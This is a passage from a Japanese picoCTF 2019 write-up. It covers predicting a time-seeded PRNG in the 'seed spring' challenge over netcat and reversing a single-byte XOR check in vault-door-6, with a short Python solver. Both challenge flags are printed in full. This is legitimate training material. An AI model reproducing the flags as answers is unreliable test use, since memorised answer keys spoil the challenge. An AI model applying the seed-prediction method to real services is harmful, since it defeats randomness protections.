$ nc 2019shell1.picoctf.com 21871

順番的にはサーバに接続するほうがタイムラグがありそうなので、手元でnc 2019shell1.picoctf.com 21871してすぐにshell serverで./a.outしてました。1~2回でおなじseedが与えられたので成功率は悪くない。問題は、手作業で値を移したので、途中で間違えることが3度発生。4回目で30個間違えずに入力できました…。

$ nc 2019shell1.picoctf.com 21871


                                                                             
                          #                mmmmm  mmmmm    "    mm   m   mmm 
  mmm    mmm    mmm    mmm#          mmm   #   "# #   "# mmm    #"m  # m"   "
 #   "  #"  #  #"  #  #" "#         #   "  #mmm#" #mmmm"   #    # #m # #   mm
  """m  #""""  #""""  #   #          """m  #      #   "m   #    #  # # #    #
 "mmm"  "#mm"  "#mm"  "#m##         "mmm"  #      #    " mm#mm  #   ##  "mmm"
                                                                             


Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: 7
LEVEL (2/30)

Guess the height: 3
LEVEL (3/30)

Guess the height: 10
LEVEL (4/30)

Guess the height: 14
LEVEL (5/30)

Guess the height: 15
LEVEL (6/30)

Guess the height: 3
LEVEL (7/30)

Guess the height: 11
LEVEL (8/30)

Guess the height: 13
LEVEL (9/30)

Guess the height: 2
LEVEL (10/30)

Guess the height: 0
LEVEL (11/30)

Guess the height: 0
LEVEL (12/30)

Guess the height: 6
LEVEL (13/30)

Guess the height: 10
LEVEL (14/30)

Guess the height: 5
LEVEL (15/30)

Guess the height: 1
LEVEL (16/30)

Guess the height: 14
LEVEL (17/30)

Guess the height: 9
LEVEL (18/30)

Guess the height: 9
LEVEL (19/30)

Guess the height: 10
LEVEL (20/30)

Guess the height: 0
LEVEL (21/30)

Guess the height: 11
LEVEL (22/30)

Guess the height: 1
LEVEL (23/30)

Guess the height: 3
LEVEL (24/30)

Guess the height: 2
LEVEL (25/30)

Guess the height: 7
LEVEL (26/30)

Guess the height: 1
LEVEL (27/30)

Guess the height: 4
LEVEL (28/30)

Guess the height: 4
LEVEL (29/30)

Guess the height: 4
LEVEL (30/30)

Guess the height: 15
picoCTF{pseudo_random_number_generator_not_so_random_454fbf9b8595fa66a87547e520351217}Congratulation! You've won! Here is your flag:

やったーーーーー!!!
よく考えたら、shell server上でパイプコマンド使って

$ ./a.out | nc 2019shell1.picoctf.com 21871

みたいにすれば手動コピーいらんかった…。

[Reversing] vault-door-6 (350pt)

This vault uses an XOR encryption scheme. The source code for this vault is here: VaultDoor6.java

このシリーズ長いです。まだ続きます。またjavaのコードが配布されます。

import java.util.*;

class VaultDoor6 {
    public static void main(String args[]) {
        VaultDoor6 vaultDoor = new VaultDoor6();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
    String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
    if (vaultDoor.checkPassword(input)) {
        System.out.println("Access granted.");
    } else {
        System.out.println("Access denied!");
        }
    }

    // Dr. Evil gave me a book called Applied Cryptography by Bruce Schneier,
    // and I learned this really cool encryption system. This will be the
    // strongest vault door in Dr. Evil's entire evil volcano compound for sure!
    // Well, I didn't exactly read the *whole* book, but I'm sure there's
    // nothing important in the last 750 pages.
    //
    // -Minion #3091
    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        byte[] passBytes = password.getBytes();
        byte[] myBytes = {
            0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
            0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
            0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
            0xa , 0x67, 0x6d, 0x33, 0x34, 0x6c, 0x60, 0x33,
        };
        for (int i=0; i<32; i++) {
            if (((passBytes[i] ^ 0x55) - myBytes[i]) != 0) {
                return false;
            }
        }
        return true;
    }
}

もはやコメントを読んで楽しむ読み物になっている…。本ほとんど読んでないじゃん!
ただ 0x55 とxorをとっているだけなので、再度 xor をしてやるともとに戻ります。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

my_bytes = [0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
            0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
            0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
            0xa , 0x67, 0x6d, 0x33, 0x34, 0x6c, 0x60, 0x33,]

flag = ''
for i in range(len(my_bytes)):
    flag += chr(my_bytes[i] ^ 0x55)
print('picoCTF{' + flag + '}')

実行結果

$ python solve.py 
picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_28fa95f}